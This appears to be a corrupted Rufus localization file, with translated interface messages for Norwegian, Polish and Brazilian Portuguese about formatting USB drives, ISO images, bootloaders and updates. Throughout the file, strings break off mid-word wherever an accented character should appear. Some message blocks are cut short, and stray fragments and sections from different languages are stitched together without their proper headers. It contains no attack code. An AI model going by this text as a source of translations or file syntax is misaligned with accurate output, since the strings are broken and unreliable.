t MSG_067 "Kunne ikke
t MSG_068 "Feil under stasjons partisjonering."
t MSG_069 "Kunne ikke kopiere filer til m
t MSG_070 "Brukeravbrutt."
t MSG_071 "Ikke mulig
t MSG_072 "D
t MSG_073 "ISO bilde skannings feil."
t MSG_074 "ISO bilde utpakkings feil."
t MSG_075 "Ikke mulig
t MSG_076 "Ute av stand til
t MSG_077 "Ikke mulig
t MSG_078 "Kan ikke montere GUID stasjon."
t MSG_079 "Denne enheten er ikke klar."
t MSG_080 "Rufus oppdaget at Windows fortsatt skriver til denne USB enhetens interne buffer.\n\n"
din USB enhet, vil muligens denne operasjonen ta lang til
"spesielt for store filer.\n\nVi anbefaler at du lar Windows fullf
t MSG_081 "Ikke st
t MSG_082 "Dette ISO-bildet er enten ikke oppstartbar, eller s
t MSG_083 "Bytte ut %s?"
t MSG_084 "Dette ISO bildet ser ut til
inneholde en foreldet versjon av '%s'.\n"
"'%s' er der, vil den bli brukt automatisk."
t MSG_085 "Laster ned %s"
t MSG_086 "Intet bilde valgt"
t MSG_087 "Vennligst klikk p
t MSG_088 "Bildet er for stort"
t MSG_089 "Bildet er for stort for det valgte m
t MSG_090 "Ikke st
t MSG_092 "Ikke st
t MSG_093 "VIKTIGT: DENNE STASJONEN INNEHOLDER FLERE PARTISJONER!!\n\n"
"Denne inneholder kanskje partisjoner/volumer som ikke er listet og muligens ikke synlig i Windows. "
t MSG_094 "Flere partisjoner oppdaget"
t MSG_095 "DD Bilde"
t MSG_096 "Filsystemet som er valgt kan ikke brukes med denne type ISO"
t MSG_097 "'%s' kan kun brukes hvis filsystemet er NTFS."
t MSG_098 "VIKTIGT: Du pr
installere 'Windows To Go', med m
"den rette beskrivelsen. P.g.a dette vil Windows sannsynligvis stoppe opp under oppstarten, "
t MSG_099 "Fil system begrensning"
t MSG_100 "Dette ISO bildet inneholder filer st
t MSG_101 "Mangler WIM st
t MSG_102 "Din plattform kan ikke pakke ut filer fra WIM arkiver. WIM utpakking "
lage EFI oppstartbar Windows 7 og Windows Vista USB stasjoner. Du kan fikse det "
t MSG_103 "Lastet ned %s?"
t MSG_104 "%s eller senere er p
krevd for at '%s' filen kan bli innstallert.\n"
rrelse, og er alltid tilstede i %s ISO bilder, "
"'%s' er der, vil den bli brukt automatisk.\n"
t MSG_106 "Vennligst velg en mappe"
t MSG_108 "Rufus logg"
t MSG_110 "MS-DOS kan ikke boote fra en stasjon som brukeren 64 kilobytes Cluster st
t MSG_111 "Inkompatibelt Cluster st
t MSG_112 "Formatere en stor UDF volum kan ta mye tid. Ved
"tiden er %d:d, under denne tiden vil framgangslinjen virke frossen. Vennligst v
t MSG_113 "Stort UDF volum"
t MSG_114 "Dette bildet bruker Syslinux %s%s men dette programmet inkluderer kun installsjons filer for "
"Syslinux %s%s.\n\nNye versjoner av Syslinux er ikke kompatible med hverandre, og dermed "
"Internett ('ldlinux.sys' og 'ldlinux.bss'):\n"t MSG_115 "Nedlasting p
t MSG_116 "Dette bildet bruker Grub %s, men programmet inkluderer kun installasjonsfiler for"
"Grub %s.\n\nForskjellige versjoner av Grub er muligens ikke kompatible med hverandre, og er ikke "
"installasjon filen ('core.img') som passer til ditt bilde:\n"t MSG_150 "Som oftest det tryggeste valget. Hvis du har en UEFI datamaskin og
"et operativsystem i EFI mode uansett, skal du velge en av de andre valgene"
t MSG_151 "Bruk dette hvis du vil installere et operativsystem i EFI mode, men trenger
"til USB innholdet fra Windows XP"
t MSG_152 "Det foretrukne valget for
installere operativsystemet i EFI mode og n
krevd av Windows XP"
t MSG_157 "Setter m
t MSG_158 "Minimum st
t MSG_159 "Bruk dette feltet for
t MSG_160 "Avanserte valg"
t MSG_161 "Velg antall passeringer for
t MSG_162 "Bruk \"langsom\" formaterings metode ved
t MSG_163 "Merk denne boksen for
t MSG_164 "Metoden som vil bli brukt for
t MSG_165 "Klikk for
t MSG_166 "Merk denne boksen for
"og lage et stasjons ikon (lager en autorun.inf)"
t MSG_167 "Installerer en MBR som tillater oppstarts valg og kan maskere BIOS USB stasjons ID"
dvendig hvis du installerer Windows XP og har mer enn en stasjon"
t MSG_169 "Lager en ekstra skjult partisjon og fors
t MSG_170 "Aktivere listen av USB Hard Disk kabinetter. BRUKES P
t MSG_171 "Starter formaterings operasjonen.\nDette vil SLETTE data p
t MSG_172 "Lisens in formasjon og krediteringer"
t MSG_173 "Klikk for
t MSG_175 "Versjon %d.%d (Utgave %d)"
t MSG_176 "Norsk oversettelse: JED <mailto:translator744@outlook.com >"
t MSG_177 "Rapporter feil, og foresp
t MSG_178 "Tilleggs Copyright:"
t MSG_179 "Oppdaterings politikk:"
t MSG_180 "Hvis du
t MSG_181 "Ditt operativsystems arkitektur og versjon"
t MSG_182 "Versjon programmet du bruker"
t MSG_183 "Din IP adresse"
t MSG_184 "For muligheten
t MSG_185 "Oppdaterings prosess:"
t MSG_186 "Rufus vil ikke installere eller kj
t MSG_187 "Ugyldig bilde for valgt oppstart l
t MSG_188 "Det n
rende bilde passer ikke den valgte oppstarts valget. Vennligst velg ett annet bilde, eller velg et annet oppstarts valg."
t MSG_189 "Dette ISO bildet er ikke kompatibelt med det valgte filsystemet"
t MSG_190 "Ikke kompatibel stasjon oppdaget"
t MSG_191 "Skriving"
t MSG_192 "Lesing"
t MSG_193 "Lastet ned %s"
t MSG_194 "Kunne ikke laste ned %s"
t MSG_195 "Bruker innebygget versjon av %s fil(er)"
t MSG_196 "VIKTIGT: DENNE STASJONEN BRUKER IKKE STANDARD SEKTOR ST
rrelse, mens denne stasjonen bruker en %d-byte. "
t MSG_197 "Ikke standard sektor st
t MSG_199 "Velg dette hvis du planlegger
installere Windows, til en annen stasjon, "
t MSG_200 "Velg dette hvis du vil kj
re Windows direkte fra valgte stasjon."
t MSG_201 "Avbryter - Vennligst vent..."
t MSG_202 "Skanner bilde..."
t MSG_203 "Feilet i bilde s
t MSG_204 "Foreldet %s oppdaget"
t MSG_205 "Bruker bilde: %s"
t MSG_206 "Mangler %s fil"
t MSG_207 "Nytt Volum"
t MSG_208 "%d enhet funnet"
t MSG_209 "%d enhet funnet"
t MSG_210 "KLAR"
t MSG_211 "Avbrutt"
t MSG_212 "Feilet"
t MSG_213 "Starter ett nytt program..."
t MSG_214 "Oppstart feilet"
pnet %s"
t MSG_216 "Lagret %s"
t MSG_217 "Formatert: %0.1f%% fullf
t MSG_218 "Lager filsystem: Oppgave %d/%d fullf
t MSG_219 "NTFS opprettet: %d%% fullf
t MSG_220 "Formaterer (%s) - estimeret varighet %d:d..."
t MSG_221 "Lager merkelapp (Dette kan ta en stund)..."
t MSG_223 "NTFS retting (Checkdisk)..."
t MSG_224 "Fjerner MBR/PBR/GPT strukturer..."
t MSG_225 "Ber om stasjons tilgang..."
t MSG_226 "Analyserer oppstarts arkiver..."
t MSG_227 "Lukker eksisterende volum..."
t MSG_228 "Skriver hoved oppstarts arkiv..."
t MSG_229 "Skriver partisjon oppstarts arkiv..."
t MSG_230 "Kopierer DOS filer..."
t MSG_231 "Kopierer ISO filer..."
t MSG_232 "Win7 EFI oppstarts oppsett (Dette kan ta litt tid)..."
t MSG_233 "Ferdiggj
t MSG_235 "D
rlige blokker: %s %d/%d - %0.2f%% (%d/%d/%d feil)"
t MSG_236 "D
t MSG_237 "D
nster 0xX"
t MSG_238 "Partisjonerer (%s)..."
t MSG_239 "Sletter partisjoner..."
t MSG_240 "Laster ned %s: Kobler til..."
t MSG_241 "Laster ned: %0.1f%%"
t MSG_242 "Nedlasting av fil feilet."
t MSG_243 "Sjekker for Rufus oppdateringer..."
t MSG_244 "Oppdateringer: Ikke mulig
t MSG_245 "Oppdateringer: Ikke mulig
t MSG_246 "En ny versjon av Rufus er tilgjengelig!"
t MSG_247 "Ingen ny versjon av Rufus er funnet"
t MSG_248 "Programmets register n
t MSG_249 "Sletting av register n
t MSG_250 "%s aktivert"
t MSG_251 "%s deaktivert"
t MSG_252 "St
t MSG_253 "Harddisk oppdagelse"
t MSG_254 "Tvinger stor FAT32 formatering"
t MSG_255 "NoDriveTypeAutorun vil bli oppdaget ved avsluttning"
t MSG_256 "Falsk stasjon oppdaget"
t MSG_257 "Joliet st
t MSG_258 "Rock Ridge st
t MSG_259 "Tvungen oppdatering"
t MSG_260 "NTFS pakking"
t MSG_261 "Skriver bilde: %0.1f%% ferdig"
t MSG_262 "ISO St
t MSG_263 "Bruk SKIKKELIG st
t MSG_264 "Sletter mappe '%s'"
t MSG_265 "VMWare disk oppdagelse"
t MSG_266 "Dobbel UEFI/BIOS instilling"
t MSG_267 "Legger til Windows bilde: %0.1f%% ferdig"
t MSG_268 "Legger til Windows bilde..."
t MSG_269 "Bevarer tidskode"
t MSG_270 "USB avkoding"
t MSG_271 "Regner ut bilde sjekksummer: %0.1f%% fullf
t MSG_272 "Regner ut MD5, SHA1 og SHA256 sjekksummer for det valgte bilde"
t MSG_273 "Bytt program spr
t MSG_274 "ISOHybrid bilde oppdaget"
t MSG_275 "Bildet du har valgt er en 'ISOHybrid' bilde. Dette betyr det enten kan bli skrevet i "
"%s (fil kopi) modus eller %s (bildefil) modus.\n"
bruke %s modus, slik at du har full tilgang til stasjonen etter at du har skrevet til den.\n"
skrive bildet igjen i %s modus.\n\n"
t MSG_276 "Skriv i %s modus (Anbefalt)"
t MSG_277 "Skriv i %s modus"
t MSG_278 "Oppstart type"
t MSG_279 "Ikke oppstartbar"
t MSG_280 "Bilde valg"
t MSG_281 "(Vennligst velg et bilde)"
t MSG_282 "Utelat USB stasjonsl
t MSG_284 "Den nedlastede programfil mangler en digital signatur."
t MSG_285 "Den nedlastede programfil er signert av '%s'.\nDette er en signatur vi ikke gjenkjenner, og kan "
s IDC_NBPASSES -15,0
m IDC_NBPASSES 55,0
t IDC_WINDOWS_TO_GO "
autorun.inf"
: %d\n
t MSG_012 "%s\n
.\n%s"
%d.%d (Build %d)
Syslinux %s%s
ldlinux.bss
Grub %s
mailto:s.zia.azimi@gmail.com
t MSG_193 "%s
: %d/%d
: %d%%
: %d:d
(%s)...
Syslinux %s...
0xX
s IDC_NBPASSES -60,0
m IDC_NBPASSES 100,0
t IDC_WINDOWS_INSTALL "Standardowa instalacja Windowsa"
t IDC_WEBSITE "Kliknij tutaj aby przej
t MSG_001 "Wykryto inn
t MSG_002 "Inna aplikacja Rufus jest uruchomiona.\n"
t MSG_003 "UWAGA: WSZYSTKIE DANE NA URZ
DZENIU '%s' ZOSTAN
operacj
t MSG_004 "Polityka aktualizacji Rufusa"
t MSG_005 "Czy chcesz zezwoli
t MSG_006 "Zamknij"
t MSG_007 "Anuluj"
t MSG_008 "Tak"
t MSG_009 "Nie"
t MSG_010 "Znaleziono uskodzone sektory"
t MSG_011 "Sprawdzanie zako
czone: znaleziono %d uskodzone sektory(
" %d b
w odczytu\n %d b
w zapisu\n %d b
t MSG_012 "%s\nRaport szczeg
pny w:\n%s"
t MSG_013 "Wy
t MSG_014 "Dziennie"
t MSG_015 "Tygodniowo"
t MSG_016 "Miesi
t MSG_017 "W
t MSG_018 "Twoja wersja: %d.%d (Build %d)"
t MSG_019 "Najnowsza wersja: %d.%d (Build %d)"
t MSG_020 "bajt
t MSG_029 "Domy
t MSG_030 "%s (Domy
t MSG_031 "Schemat partycjonowania %s dla BIOS lub %s"
t MSG_032 "Schemat partycjonowania %s dla BIOS"
t MSG_033 "Schemat partycjonowania %s dla UEFI"
t MSG_034 "%d Przebieg"
t MSG_035 "%d Przebiegi"
t MSG_037 "Aplikacja"
t MSG_038 "Przerwij"
t MSG_039 "Uruchom"
t MSG_040 "Pobierz"
t MSG_041 "Operacja anulowana przez u
t MSG_042 "B
t MSG_043 "B
d: %s"
t MSG_044 "Pobieranie pliku"
t MSG_045 "Urz
t MSG_046 "%s (Dysk %d) [%s]"
t MSG_047 "Wiele Partycji"
t MSG_048 "Rufus - Czyszczenie bufor
t MSG_049 "Rufus - Anulowanie"
t MSG_050 "Sukces."
t MSG_051 "Niezidentyfikowany bl
t MSG_052 "Nie mo
t MSG_053 "Dost
t MSG_054 "Zapis no
t MSG_055 "Urz
t MSG_056 "Szybkie formatowanie jest niedost
t MSG_057 "Nazwa woluminu jest nieprawid
t MSG_059 "Wybrany rozmiar jednostki alokacji jest nieprawidowy dla tego urz
t MSG_060 "Rozmiar woluminu jest nieprawid
t MSG_061 "Prosz
t MSG_062 "Otrzymano niewspieran
t MSG_063 "B
t MSG_064 "B
t MSG_065 "B
t MSG_066 "Niepowodzenie instalacji"
t MSG_067 "Nie mo
t MSG_068 "B
t MSG_069 "Nie mo
t MSG_070 "Anulowane przez u
t MSG_071 "Nie mo
t MSG_072 "Nie uko
t MSG_073 "Niepowodzenie skanowania pliku ISO."
t MSG_074 "Niepowodzenie wypakowywania pliku ISO."
t MSG_075 ""Nie mo
t MSG_076 ""Nie mo
t MSG_077 "Nie mo
t MSG_078 "Nie mo
t MSG_079 "Urz
t MSG_080 "Rufus wykry
e Windows ci
dzenia USB, ta operacja mo
Windowsowui sko
t MSG_081 "Niewspierany obraz"
t MSG_082 "Ten obraz nie jest bootowalny lub u
t MSG_083 "Zast
t MSG_084 "Ten plik ISO wydaje si
d:\n"
"'%s' jest tutaj, zostanie u
t MSG_085 "Pobieranie %s"
t MSG_086 "Nie wybrano obrazu"
t MSG_087 "Prosz
t MSG_088 "Obraz jest zbyt du
t MSG_089 "Ten obraz jest zbyt du
t MSG_090 "Niewspierane ISO"
t MSG_091 "Podczas u
t MSG_092 "Niewspierany system plik
t MSG_093 "WA
wymienione lub nawet widoczne z poziomu Windows. "
t MSG_094 "Wykryto wiele partycji"
t MSG_096 "Aktualnie zaznaczony system plik
t MSG_097 "'%s' mo
t MSG_098 "WA
'Windows To Go', lecz dysk docelowy nie ma "
"atrybytu 'LOKALNY'. Z tego powodu Windows prawdopodobnie zawiesi si
t MSG_099 "Ograniczenia systemu plik
t MSG_100 "Ten obraz ISO zawiera plik wi
t MSG_101 "Brakuj
t MSG_102 "Twoja platforma nie mo
bootowalny dysk USB EFI z Windows 7 i Windows Vista. Mo
t MSG_103 "Pobra
t MSG_104 "%s lub p
niejszy wymaga zainstalowania pliku '%s' .\n"
100 KB i zawsze jest obecny na obrazach ISO %s, "
"'%s' istnieje tutaj, zostanie ponownie u
t MSG_105 "Anulowanie mo
t MSG_106 "Prosz
t MSG_107 "Wszystkie pliki"
t MSG_109 "0xX (Dysk %d)"
t MSG_110 "MS-DOS nie mo
t MSG_111 "Niekompatybilny Rozmiar jednostki alokacji"
t MSG_112 "Formatowanie du
"formatowania wynosi %d:d, podczas kt
t MSG_113 "Du
t MSG_114 "Ten obraz u
ywa Syslinux %s%s, lecz ta aplikacja do
"Syslinux %s%s.\n\nPoniewa
"z Internetu ('ldlinux.sys' oraz 'ldlinux.bss'):\n"t MSG_115 "Wymagane pobieranie"
t MSG_116 "Ten obraz u
ywa Grub %s, lecz ta aplikacja do
"Grub %s.\n\nPoniewa
"('core.img') ktt MSG_150 "Zazwyczaj najbezpieczniejszy wyb
t MSG_151 "U
ci USB z Windows XP"
t MSG_152 "Preferowana opcja aby zainstalowa
p do USB nie jest wymagany dla Windows XP"
t MSG_153 "Wzorzec testowy: 0xX"
t MSG_154 "Wzorzec testowy: 0xX, 0xX"
t MSG_155 "Wzorzec testowy: 0xX, 0xX, 0xX"
t MSG_156 "Wzorzec testowy: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Ustawia docelowy system plik
t MSG_158 "Minimalny rozmiar jaki blok b
t MSG_159 "U
t MSG_160 "Prze
t MSG_161 "Sprawd
t MSG_162 "Odznacz to pole aby u
t MSG_163 "Zaznacz to pole aby stworzy
t MSG_164 "Metoda kt
t MSG_165 "Kliknij aby wybra
t MSG_166 "Zaznacz to pole aby zezwoli
dzenia (tworzy plik autorun.inf)"
t MSG_167 "Instaluje MBR, kt
dzie to konieczne tylko przy instalowaniu Windowsa XP i posiadaniu wi
t MSG_169 "Tworzy dodatkow
t MSG_170 "W
t MSG_171 "Uruchamia operacj
t MSG_172 "Informacje o licencji i creditsy"
t MSG_173 "Kliknij aby wybra
t MSG_175 "Wersja %d.%d (Build %d)"
t MSG_176 "Polskie t
umaczenie: Piotr Halama <hXXp://halamix2.pl> \\line "
"Poprawki: Krzysztof J. Szklarski <hXXp://VVV.napisy.info>"
t MSG_177 "Zg
t MSG_178 "Dodatkowe prawa autorskie:"
t MSG_179 "Polityka aktualizacji:"
t MSG_180 "Je
t MSG_181 "Architektura i wersja twojego systemu operacyjnego"
t MSG_182 "Wersja aplikacji z kt
t MSG_183 "Tw
t MSG_184 "W celu generowania poufnych statystyk u
t MSG_185 "Proces aktualizacji:"
t MSG_186 "Rufus nie instaluje lub uruchamia proces
t MSG_187 "Obraz nieprawid
t MSG_188 "Obecny obraz nie pasuje do wybranej opcji bootowania. Prosz
t MSG_189 "Ten obraz ISO jest niekompatybilny z wybranym systemem plik
t MSG_190 "Wykryto niekompatybilny dysk"
t MSG_191 "Post
t MSG_192 "Post
t MSG_193 "Pobrano %s"
t MSG_194 "Nie mo
t MSG_195 "U
w) %s"
t MSG_196 "WA
ywa %d-bajtowego. "
t MSG_197 "Wysryto niestandardowy rozmiar sektora"
t MSG_198 "'Windows To Go' mo
t MSG_199 "Wybierz to, je
Windows na innym dysku, u
t MSG_200 Wybierz to, je
Windows bezpo
t MSG_201 "Anulowanie - Prosz
t MSG_202 "Skanowanie obrazu..."
t MSG_203 "Niepowodzenie skanowania obrazu"
t MSG_204 "wykryto przestarza
e %s"
t MSG_205 "U
ywany obraz: %s"
t MSG_206 "Brak pliku %s"
t MSG_207 "Nowy"
t MSG_208 "znaleziono %d urz
t MSG_209 "znaleziono %d urz
t MSG_210 "Gotowy"
t MSG_211 "Anulowano"
t MSG_212 "NIEPOWODZENIE"
t MSG_213 "Uruchamianie nowej aplikacji..."
t MSG_214 "Niepowodzenie uruchomienia nowej aplikacji"
t MSG_215 "Otwarto %s"
t MSG_216 "Zapisano %s"
t MSG_217 "Formatowanie: uko
t MSG_218 "Tworzenie systemu plik
czono zadanie %d/%d"
t MSG_219 "Naprawianie NTFS: uko
czono %d%%"
t MSG_220 "Formatowanie (%s) - przewidywany czas %d:d..."
t MSG_221 "Ustawianie Etykiety (To mo
t MSG_222 "Formatowanie (%s)..."
t MSG_223 "Naprawianie NTFS (Checkdisk)..."
t MSG_224 "czyszczenie struktur MBR/PBR/GPT..."
t MSG_226 "Analizowanie istniej
t MSG_227 "Zamykanie istniej
t MSG_228 "Zapisywanie master boot record..."
t MSG_229 "Zapisywanie partition boot record..."
t MSG_230 "Kopiowanie plik
t MSG_231 "Kopiowanie plik
t MSG_232 "Ustawianie bootowania Win7 EFI (to mo
t MSG_233 "Finalizacja, prosz
t MSG_234 "Instalowanie Syslinux %s..."
t MSG_235 "B
dne Sektory: %s %d/%d - %0.2f%% (%d/%d/%d b
t MSG_236 "B
t MSG_237 "B
dne Sektory: Testowanie z wzorem 0xX"
t MSG_238 "Partycjonowanie (%s)..."
t MSG_239 "Usuwanie partycji..."
t MSG_240 "Pobieranie %s:
t MSG_241 "Pobieranie: %0.1f%%"
t MSG_242 "Niepowodzenie pobierania pliku."
t MSG_243 "Sprawdzanie aktualizacji Rufusa..."
t MSG_244 "Aktualizacje: Nie mo
t MSG_245 "Aktualizacje: Nie mo
t MSG_246 "Jest dost
t MSG_247 "Nie znaleziono nowszej wersji Rufusa"
t MSG_248 "Pomy
t MSG_249 "Niepowodzenie usuwania kluczy rejestru aplikacji"
t MSG_250 "w
czono %s"
t MSG_251 "wy
czono %s "
t MSG_252 "Sprawdzanie rozmiaru"
t MSG_253 "Wykrywanie dysk
t MSG_254 "Si
t MSG_255 "NoDriveTypeAutorun zostanie usuni
t MSG_256 "Fa
t MSG_257 "Wsparcie Joliet"
t MSG_258 "Wsparcie Rock Ridge"
t MSG_259 "Si
t MSG_260 "Kompresja NTFS"
t MSG_261 "Zapisywanie obrazu: uko
t MSG_262 "Wsparcie ISO"
t MSG_263 "U
t MSG_264 "Usuwanie folderu '%s'"
t MSG_265 "Wykrywanie dysk
t MSG_266 "Tryb dual UEFI/BIOS"
t MSG_267 "Zastosowywanie obrazu Windows: uko
t MSG_268 "Zastosowywanie obrazu Windows..."
t MSG_269 "Zachowaj znacziki czasu"
t MSG_270 "Debugowanie USB"
t MSG_271 "Obliczanie sum kontrolnych obrazu: uko
t MSG_272 "Oblicz sumy kontrolne MD5, SHA1 oraz SHA256 dla wybranego obrazu"
t MSG_273 "Zmie
t MSG_274 "Wykryto obraz ISOHybrid"
t MSG_275 "Obraz kt
"%s (kopia plik
w) lub trybie %s (obraz dysku).\n"
ycie trybu %s aby
ten obraz ponownie w trybie %s.\n\n"
t MSG_276 "Zapisz w trybie %s (zalecane)"
t MSG_277 "Zapisz w trybie %s"
t MSG_278 "Typ bootowania"
t MSG_279 "Niebootowalne"
t MSG_280 "Wyb
t MSG_281 "(Prosz
t MSG_282 "Blokowanie dysku USB na wy
t MSG_283 "Nieprawid
t MSG_284 "Pobrany plik wykonywalny nie posiada cyfrowej sygnatury."
t MSG_285 "Pobrany plik wykonywalny jest podpisany przez '%s'.\nTo nie jest rozpoznawana przez nas sygnatura i mo
l "pt-BR" "Portuguese Brazilian (Portugu
t IDC_WINDOWS_INSTALL "Instala
o do Windows"
t IDC_WEBSITE "Clique aqui para ir ao Site de Rufus"
t MSG_001 "Foi detectada outra aplica
t MSG_002 "Outra aplica
o Rufus em execu
t MSG_003 "AVISO: TODOS OS DADOS EM %s SER
"Para continuar, clique em OK. Para sair da opera
t MSG_004 "Atualiza
t MSG_005 "Permitir que Rufus procure atualiza
t MSG_006 "Fechar"
t MSG_007 "Cancelar"
t MSG_008 "Sim"
t MSG_010 "Foram encontrados erros no disco"
t MSG_011 "Verifica
o completa: %d erros encontrados\n"
" %d erros de leitura\n %d erros de grava
o\n %d erros de corrup
t MSG_012 "%s\nMais informa
veis em:\n%s"
t MSG_013 "Nunca"
t MSG_014 "Diariamente"
t MSG_015 "Semanalmente"
t MSG_016 "Mensalmente"
t MSG_017 "Personalizado"
t MSG_018 "Sua vers
o: %d.%d (Build %d)"
t MSG_031 "Parti
o %s para BIOS ou %s"
t MSG_032 "Parti
o %s para BIOS"
t MSG_033 "Parti
o %s para UEFI"
t MSG_034 "%d passo"
t MSG_035 "%d passos"
t MSG_036 "Imagem ISO"
t MSG_037 "Aplica
t MSG_038 "Abortar"
t MSG_039 "Inciar"
t MSG_040 "Descarregar"
t MSG_041 "Opera
t MSG_042 "Erro"
t MSG_043 "Erro: %s"
t MSG_044 "Download do arquivo"
t MSG_045 "Dispositivo de armazenamento USB (Gen
t MSG_046 "%s (Disco %d) [%s]"
t MSG_048 "Rufus - Limpando bufers"
t MSG_049 "Rufus - Cancelamento"
t MSG_050 "Sucesso."
t MSG_051 "Erro indeterminado durante a formata
t MSG_052 "N
t MSG_053 "Acesso ao dispositivo negado."
t MSG_054 "Dispositivo est
t MSG_055 "Outra aplica
t MSG_056 "Formata
t MSG_057 "Nome do Volume n
t MSG_058 "Gerenciador de dispositivos n
t MSG_059 "O tamanho de cluster indicado n
t MSG_060 "O tamanho do volume n
t MSG_061 "Inserir um dispositivo USB."
t MSG_062 "Comando n
o suportado."
t MSG_063 "Erro na aloca
t MSG_064 "Erro de leitura."
t MSG_065 "Erro de grava
t MSG_066 "Falha na instala
t MSG_067 "Imposs
t MSG_068 "Erro ao criar parti
t MSG_069 "N
t MSG_070 "Cancelado pelo usu
t MSG_071 "Imposs
t MSG_072 "Verifica
t MSG_073 "Erro na an
t MSG_074 "Erro na extra
t MSG_075 "Imposs
t MSG_076 "Imposs
t MSG_077 "Imposs
t MSG_078 "Imposs
t MSG_079 "O dispositivo n
t MSG_080 "Rufus detectou que o Windows ainda est
"Dependendo da velocidade do dispositivo USB, esta opera
"especialmente para arquivos grandes.\n\nRecomendamos que espere o Windows terminar para evitar arquivo corrompido; "
t MSG_081 "Imagem n
o suportada"
t MSG_082 "Esta imagem n
o suportado pelo Rufus..."
t MSG_083 "Substituir %s?"
t MSG_084 "Esta imagem ISO usa uma vers
o obtida do arquivo '%s'.\n"
"o arquivo\n '%s' existente a
t MSG_085 "Baixando %s"
t MSG_086 "N
t MSG_087 "Pressione o bot
t MSG_088 "Imagem ISO muito grande"
t MSG_089 "A imagem ISO
t MSG_090 "ISO n
o suportado"
t MSG_091 "Quando se usa UEFI como tipo de destino, s
o suportadas imagens ISO boot
t MSG_092 "Sistema de arquivos n
t MSG_093 "IMPORTANTE: ESTA UNIDADE CONT
vel para o Windows. "
t MSG_094 "M
t MSG_095 "Imagem DD"
t MSG_096 "O sistema de arquivo selecionado n
t MSG_097 "'%s' s
t MSG_098 "IMPORTANTE: Voc
tentando instalar 'Windows Para Levar', por
"tem o atributo 'FIXED' . Portanto,
vel que o Windows trave durante o boot, "
t MSG_102 "A sua plataforma n
vel tipo EFI com Windows 7 e Windows Vista. "
t MSG_103 "Baixar %s?"
t MSG_104 "%s ou posterior requer que esteja instalado um arquivo '%s' .\n"
"imagens ISO %s, Rufus n
"um \n arquivo '%s' atual, ser
t MSG_105 "Cancelar agora pode deixar o dispositivo INUTILIZADO.\n"
t MSG_106 "Selecione a pasta"
t MSG_107 "Todos os arquivos"
t MSG_108 "Registro de eventos de Rufus"
t MSG_109 "0xX (Disco %d)"
t MSG_110 "MS-DOS n
t MSG_111 "Tamanho de cluster incompat
t MSG_112 "Formatar um volume UDF de tamanho grande pode demorar muito tempo.
%d:d, durante o qual a barra de progresso parecer
t MSG_113 "Volume UDF de tamanho grande"
t MSG_114 "Esta imagem usa Syslinux %s%s, mas este aplicativo inclui somente os arquivos de instala
"Syslinux %s%s.\n\nComo novas vers
o' para cancelar a opera
t MSG_115 "Download necess
t MSG_116 "Esta imagem usa o Grub %s mas este aplicativo inclui somente os arquivos de instala
"Grub %s.\n\nomo novas vers
o do Grub ('core.img') que se encaixa com a sua imagem:\n""- Selecione 'Cancelar' para abortar a opera
t MSG_150 "Geralmente a op
"um sistema operacional no modo EFI, deve selecionar uma das outras op
t MSG_151 "Use esta op
o se quiser instalar um sistema operacional no modo EFI, mas necessita de acessar "
do do USB do Windows XP"
t MSG_152 "A op
o preferida para instalar um sistema operativo em modo EFI e "
o se necessita de ler o USB no Windows XP"
t MSG_153 "Teste padr
o: 0xX"
t MSG_154 "Teste padr
o: 0xX, 0xX"
t MSG_155 "Teste padr
o: 0xX, 0xX, 0xX"
t MSG_156 "Teste padr
o: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecionar o sistema de arquivos destino"
t MSG_158 "Tamanho m
t MSG_159 "Use este campo para atribuir o nome ao volume\nPodem ser caracteres acentuados"
t MSG_160 "Exibir op
t MSG_161 "Verifica
t MSG_162 "Desmarque esta op
t MSG_163 "Marque esta op
t MSG_165 "Selecionar uma imagem ISO..."
t MSG_166 "Selecione esta op
cone para a unidade (cria um arquivo autorun.inf)"
t MSG_167 "Instala um MBR que permite selecionar o dispositivo de arranque e pode nomear "
t MSG_168 "Trata de nomear o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"
rio se instalar Windows XP e tinha mais de um disco r
t MSG_169 "Cria uma parti
t MSG_170 "Ativa a detec
gido port
t MSG_171 "Come
a a opera
t MSG_172 "Informa
t MSG_173 "Clique para selecionar..."
t MSG_174 "Rufus - O utilit
t MSG_175 "Vers
o %d.%d (Build %d)"
t MSG_176 "Tradutores: Tiago Rinaldi <trinaldi@gmail.com>\\line"
"\\tab Chateaubriand Vieira Moura <chateaubriand@ifse.com.br>"
t MSG_177 "Para reportar bugs ou sugerir melhoras, dirija-se a:"
t MSG_178 "Direitos autorais:"
t MSG_179 "Politica de atualiza
t MSG_180 "Autorizo este programa
t MSG_181 "A arquitetura e vers
o do meu sistema operacional"
t MSG_182 "A vers
t MSG_183 "O meu endere
t MSG_184 "A fim de gerar estat
t MSG_185 "Processo de atualiza
t MSG_186 "Rufus n
o instala nem executa nenhum servi
o, nem programada, em segundo plano. Portanto a procura"
em execu
t MSG_187 "Imagem inv
t MSG_188 "A imagem atual n
t MSG_189 "Esta imagem ISO n
t MSG_190 "Drive incompat
t MSG_191 "Passagem de grava
t MSG_192 "Passagem de leitura"
t MSG_193 "Baixado %s"
t MSG_194 "N
vel baixar %s"
t MSG_195 "Usando a vers
o do %s arquivo(s)"
t MSG_196 "IMPORTANTE: ESTE DRIVE USA UM TAMANHO DE SETOR FORA DO PADR
"Drives convencionais usam um setor de 512-byte mas este usa um de %d-byte. "
t MSG_197 "Tamanho de setor fora de padr
t MSG_198 "'Windows Para Levar' s
t MSG_199 "Selecione se deseja instalar o Windows, para outro disco, utilizando o dispositivo selecionado como m
t MSG_200 "Selecione se deseja rodar o Windows direto deste dispositivo."
t MSG_201 "Cancelando - por favor espere..."
t MSG_202 "Analisando a imagem ISO..."
t MSG_203 "Falha ao analisar a imagem ISO"
t MSG_204 "Foi detectado um arquivo %s obsoleto"
t MSG_205 "Usando imagem: %s"
t MSG_206 "Falta o arquivo %s"
t MSG_207 "Nome do volume"
t MSG_208 "%d dispositivo encontrado"
t MSG_209 "%d dispositivos encontrados"
t MSG_211 "Opera
t MSG_212 "A opera
t MSG_213 "Instalando a nova atualiza
t MSG_214 "Erro ao iniciar a nova atualiza
t MSG_215 "%s aberto"
t MSG_216 "%s guardado"
t MSG_217 "Formatando: %0.1f%% completo"
t MSG_218 "Criando sistema de arquivos: Tarefa %d/%d completa"
t MSG_219 "Finaliza
o de NTFS: %d%% completo"
t MSG_220 "Formatando (%s) - dura
o estimada %d:d..."
t MSG_221 "Atribuindo o nome do volume (pode demorar um pouco)..."
t MSG_222 "Formatando (%s)..."
t MSG_223 "Finaliza
